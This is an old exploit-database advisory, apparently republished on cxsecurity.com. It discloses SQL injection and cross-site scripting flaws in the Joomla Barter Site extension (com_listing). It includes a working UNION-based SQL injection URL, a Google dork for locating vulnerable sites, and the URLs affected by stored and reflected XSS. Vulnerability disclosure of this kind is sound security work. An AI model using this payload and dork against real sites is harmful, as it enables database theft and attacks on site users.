Joomla Barter Site Cross Site Scripting / SQL Injection

2011-10-09 / 2011-10-10
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

#1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 #0 _ __ __ __ 1 #1 /' \ __ /'__`\ /\ \__ /'__`\ 0 #0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 #1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0 #0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1 #1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0 #0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1 #1 \ \____/ >> Exploit database separated by exploit 0 #0 \/___/ type (local, remote, DoS, etc.) 1 #1 1 #0 [+] Site : 1337day.com 0 #1 [+] Support e-mail : submit[at]1337day.com 1 #0 0 #1 ############################################# 1 #0 I'm Sid3^effects member from Inj3ct0r Team 1 #1 ############################################# 0 #0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 Application:Joomla Barter Site (com_listing) Multiple Vulnerabilites Date:08/10/2011 Vendor URL:http://www.barter-sites.com/ Google Dork:intext:Copyright &#169; 2011 barter-sites.com. Author:Sid3^effects aKa HaRi Contact:shell_c99@yahoo.com #Big hugs : Th3 RDX,Sugar #special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,SeeMe,MaYur,MA1201,Sonic,r3dsm0k3,cr1m1n4l ############################################################################################################### Desc: The Barter Sites extension is for operating a trade group. Members post listings in the barter directory on your site, send each other offers and messages, negotiate, and 'pay' with either direct trade or with your own private digital currency called trade credits. You can even issue lines of credit. Admin has the option to earn commissions on trade credit transfers and can run transactions for the members, serving as a barter broker. ############################################################################################################### Vulnerability:SQli Vulnerability: The Barter Sites extension(com_listing) suffers from sql injection. http://www.target.com/trade/index.php?option=com_listing&task=browse&category_id=-1+union+select+1,2,3,4-- ############################################################################################################### Vulnerability: >Persistent Cross-site Scripting. Attackers can post crafted messages in the "post listing" and can be used to infect or steal information. Demo URL http://www.target.com/index.php?option=com_listing&task=post&listing_id=18 >Reflected Cross-site scripting: http://www.target.com/index.php?option=com_listing&task=createoffer ###############################################################################################################


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top